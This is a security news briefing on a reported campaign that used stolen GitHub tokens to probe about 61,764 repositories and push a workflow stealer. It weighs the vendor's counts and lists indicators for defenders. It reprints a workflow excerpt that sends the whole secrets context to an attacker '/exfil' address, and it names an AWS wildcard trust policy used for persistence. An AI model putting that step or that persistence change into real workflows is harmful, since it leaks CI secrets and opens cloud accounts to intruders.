Aikido says stolen GitHub tokens probed 61,764 repositories and its wfx-loot stealer ran in over 1,800

12.8 repositories per account, and 2.9 per cent that ran the payload: Aikido's counts, with ratios

Aikido says 4,837 compromised accounts opened probe pull requests in 61,764 repositories. That is 12.8 repositories per account on average (derived; Aikido gives no spread). It also says the payload ran in at least 1,806 repositories in the body of its post and at least 1,835 in its introduction. 1,806 is 2.9 per cent of 61,764 (derived), and 1,835 is 3.0 per cent (2.97, derived). The two figures sit 29 apart (derived) on one page.

What those figures do not establish: how many secrets were taken and then used, who is behind the campaign, how the GitHub credentials were stolen, or what GitHub has done about it. Every count is one vendor's telemetry. Aikido sells code and supply chain security products and its post ends with an offer of them, so its counts are Aikido's, not independent ones. Help Net Security's report of the same day repeats them without adding a count of its own.

Aikido's post is dated 12 November 2026 in its page data, which also lists a last-modified time of 08:32 UTC that day. It was read in full as saved at about 14:57 UTC on Thursday 12 November 2026. Help Net Security's article, dated 09:24 UTC the same day in its page data, was read as saved at about 14:56 UTC. Aikido's window for its pull request count ends at 15:00 UTC on 11 November, about 17.5 hours before the post's last-modified time (derived), so every count here is a snapshot, and Aikido's own "at least" treats the ran counts as floors.

What Aikido says happened, in its order

Aikido says a threat actor "used stolen GitHub credentials" and, from about 12:45 UTC on 10 November, used compromised GitHub tokens to spread the malware. For each repository a stolen token can write to, the post describes three moves. The ordering below follows the post, and the diagram sets the same steps beside the questions it leaves open.

Probe. The actor opens a pull request titled "docs: dependency audit notes" from a branch named wfx-docs, which Aikido says confirms write access. Aikido calls it only a probe, followed by commits that carry the real payload. Its rule for the reader is blunt: if the probe ran, that user is compromised, even if the workflow stage did not run.

Push the payload, in one of three variants, all carrying the same shell script of about 1,500 lines. Clean up. Aikido says the actor reverts within at most one minute and deletes the workflow run with its logs, so a missing run number in the workflow history is often the only trace.

Zoom

Probes, runs and stolen secrets are three different counts

The headline number, 61,764, counts repositories where a stolen token opened a probe. A probe proves one thing: write access existed. It does not show that the payload ran there, and Aikido says so: most of the rest "had nothing pushed after the probe, or the infected workflow didn't run". At the lower figure that rest is 59,958 repositories, 97.1 per cent (derived). The post does not split them.

The second count is the repositories where the payload ran. Aikido writes of "indications" and says the number "may understate impact", because the run log was deleted in impacted repositories. The method that turns a missing run number into a count is not given. The introduction says at least 1,835 repositories "have had credentials exfiltrated", while the body says only that the actor "has likely collected" them. Those are different strengths of claim on one page, 29 repositories apart.

The third count, secrets taken and then used, is absent. No cloud account, package registry or victim is named, and no figure is given for stolen credentials being abused. A reader should therefore carry two caveats into any quotation of the post: "ran" is inferred from traces the actor tried to remove, and "exfiltrated" is stated in one place and softened in another.

The 92 per cent figure shows how a pronoun can move a count. Aikido writes that 10,431 of the pull requests went into repositories the account does not own, and that "92% of them are still open". Help Net Security restates this as 92 per cent of the probe pull requests. Read Aikido's way, about 9,597 are open (derived); read Help Net Security's way, about 56,892 (derived). Neither says when the open state was checked. Aikido's own gloss is that this "suggests most owners haven't noticed", an inference about owners that the count alone cannot test.

One more small gap: 61,839 pull requests against 61,764 repositories, 75 more (derived). Aikido gives the first as a GitHub search result and the second as its own count. It does not say whether some repositories received more than one pull request or whether the two counts were taken differently.

Zoom

What the script takes, raises and leaves behind

Aikido describes a single shell script of about 1,500 lines that is "heavily commented, not obfuscated" and calls itself "wfx" in logs and variable names. It works in four stages. Aikido stresses that its description covers everything the script can do, and that some exfiltration features were turned off in this campaign. The table keeps the two apart.

The consequence for checking is the one Aikido draws itself: the absence of artifacts, cache entries or step summaries "does not mean data was not taken", because those channels were off and the run itself is usually deleted. A missing run number on the attacker's commit is, in Aikido's words, "the more reliable sign that the payload ran".

The persistence steps are the ones to read twice. Aikido says the AWS trust policy change and the Azure federated credentials are designed to "outlast credential rotation". Rotating a secret does not remove a role that trusts every AWS account, or an Azure application that already trusts the repository's own workflows. Help Net Security puts the consequence in one line: each one has to be tracked down and removed in every cloud account tied to the affected workflows.

Labels doing the work of controls

A green tick is a name. Aikido says the payload posts forged success status checks using the context names of the repository's required checks, and that "Branch protection matches on the context name, not on the app that posted it". If that holds for a given repository's settings, a required check is only a string that something running with the repository's own credentials can claim to have passed. That follows from Aikido's statement about how matching works. This site has not tested it, and the check is worth making on your own rules.

Plausible titles are camouflage. The probe is "docs: dependency audit notes", the injected step is "Restore cache", the throwaway workflow is a "build audit", the commits are "refresh build cache" and "add ci helper". Each reads as routine housekeeping in a repository that nobody is watching. Aikido's figure that 92 per cent of a set of probe pull requests are still open is consistent with them not having been read closely, though a count of open requests cannot show why they are open.

A malware feed is not a workflow monitor. The detection Aikido describes is about packages: users filter malware issues in a central feed, and compromised packages related to this campaign "will surface as a 100/100 critical issue". It also offers Safe Chain, which checks npm, yarn and pnpm packages before install, and Device Protection for software on team devices. The post does not say that any of these detects a probe pull request or a modified workflow file in your own repository, and the main route in this campaign, a stolen token pushing a change into your own repository, does not depend on anyone installing a malicious package from a registry. The post's own remedies for the repository case are manual: look for the branch, the title, the commits and the skipped run number.

Three releases in two packages, and what the Go tags do and do not carry

Aikido says the payload reached "at least one Packagist and one Golang package" through automated publishing triggers, and lists three releases: one Packagist version, 3.14.3, and two tags of one Go module, v1.0.278 and v1.0.280 (three releases in two packages, derived). The names carry the publishers' account names, so this briefing does not print them: they are in the indicators list of Aikido's post, and a defender should take them from there. Aikido also says at least 50 compromised users appear to publish packages in npm, Go, Packagist, PyPI or crates, yet it names no npm, PyPI or crates release. Whether others exist is not stated.

The two kinds of release differ in what they put at risk. For the Packagist release Aikido says: "Treat any machine that installed or opened either version as compromised." The sentence says "either" although the line before it names a single Packagist version, and it does not say what the payload does inside that package. For the Go tags, the payload is "in a GitHub Actions workflow file only": Aikido says the Go source and release binaries are unchanged and that Go builds never run workflow files, so consumers of the module "may not have been affected". It still recommends removing them. Neither page gives download or install counts, and neither says whether the registries have removed anything.

The overlap with October's GhostAction accounts

Aikido says accounts hit by GhostAction in October were "significantly more likely than baseline" to be hit by wfx-loot, and that in more than 100 repositories wfx-loot was injected into GhostAction's own workflow files. No baseline or overlap count is given. It still assesses the two as distinct: "we assess that these are distinct campaigns likely carried out by different threat actors", because the infrastructure, tooling and tradecraft differ and stolen credentials often reach several actors. The overlap is therefore a clue about where the tokens may have come from, not a statement of where they did. Aikido does not say how the wfx-loot tokens were stolen.

Aikido also notes Indonesian-language comments in some newer versions of the script, which it attributes to a hasty edit to add Telegram exfiltration, and says it has never seen Indonesian artefacts in GhostAction activity. It draws no attribution from this and neither does this briefing: a language in a code comment says little about who wrote it.

This site covered the earlier campaign twice: GhostAction: 345 repositories in two sweeps, 81% forks and GhostAction stage two, 19 October 2026: 94 repositories, 66 owners. A different campaign built on stolen tokens, in which private repositories were the target, is in Wiz on Gheist. Those are earlier reports on other campaigns, linked for context, and none is evidence about wfx-loot.

What Aikido states, and what it does not

"Not stated" means not found on Aikido's page or in Help Net Security's article, both read in full. It does not mean the information does not exist.

Where the sources differ

Most differences are inside Aikido's own post. They are kept here as differences and not resolved.

What to do, in order

Technical details

Everything below is printed by Aikido's post, read 12 November 2026, and copied as printed, with one value omitted and marked. Addresses are defanged as Aikido defangs them and must never be visited. This briefing prints no script contents beyond the fragments Aikido prints, and no working code. The package and module names are withheld because they carry publisher account names; they are in Aikido's indicators list.

GitHub indicators. These are the branches, pull request title and commit titles Aikido lists. A defender searches repositories, pull request lists and commit history dated 10 November or later for them. The regular expressions are as Aikido prints them.

Branches: wfx-docs, chore/[a-z0-9]{8}, ci-check-[0-9]{4}
Pull request title: docs: dependency audit notes
Commit messages:
ci: refresh build cache
ci: restore
chore: add ci helper
ci: cleanup
chore: add dependency audit workflow

Names the variants create. Aikido gives these file and branch shapes for the install hook and the throwaway workflow. A defender looks for them in new commits, in package.json scripts and under the workflows directory, since the xxxxxx and xxxxxxxx parts are placeholders for variable characters (the post calls the branch suffix eight random characters).

.ci-xxxxxx.sh
postinstall hook in package.json
.github/workflows/build-audit-xxxxxx.yml
chore/xxxxxxxx

The injected step. Aikido prints this excerpt of the injected workflow steps. It shows the payload handing the whole secrets and variables context to a callback address. A defender searches workflow files for these variable names and for any step that serialises the whole secrets context. This site has omitted the value of the callback token, which Aikido prints in full.

- name: Pass runtime
  uses: actions/github-script@v7
  ...
- name: Restore cache j632
  env:
    WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
    WF_CTOKEN: "[value omitted by this site]"
    WF_SECRETS: "${{ toJSON(secrets) }}"
    WF_VARS: "${{ toJSON(vars) }}"

Cloud persistence and exfiltration markers. The first line is the trust policy principal Aikido says the payload writes into an AWS role. The second is the name prefix of Azure federated credentials it adds. The last two are markers of the channels that Aikido says were off in this campaign. A defender reviews role trust policies and Azure application credentials for the first two and does not rely on the absence of the last two.

"Principal": {"AWS": "*"}
wfx-ci-…
wfx-loot-<run id>
<!--WFX-BEGIN-->

Network indicators. The two servers that Aikido says received the data by HTTP POST. A defender searches proxy, DNS and egress logs from 10 November and blocks them, without connecting to them.

194.150.166[.]244:8080 (/exfil)
18.143.168[.]96:8080 (/exfil)

The stealer script hash. The SHA-256 digest Aikido lists for the stealer script. A defender can match it against files retained from a runner or repository. This site did not obtain or open the file.

89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf

GhostAction overlap indicators. Aikido lists these as matching known GhostAction indicators in some of the same accounts. They belong to the October campaign, not to wfx-loot, and a defender checks for them as a separate finding.

193.32.204[.]199
193.32.204[.]199:8080
public/fonts/fa-solid-400.woff2
#ghc2

Aikido prints no detection rule, query or log line for this campaign. The searches above are descriptions of what to look for, not rules Aikido publishes.

The question Aikido's count leaves open

Aikido counted 61,839 probe pull requests from the outside, with a single search on a title, and its own reading is that most owners have not noticed them. If an outsider can count them that way, what in your organisation would show you the same search, run against your repositories today, and who would notice a skipped run number?

Key facts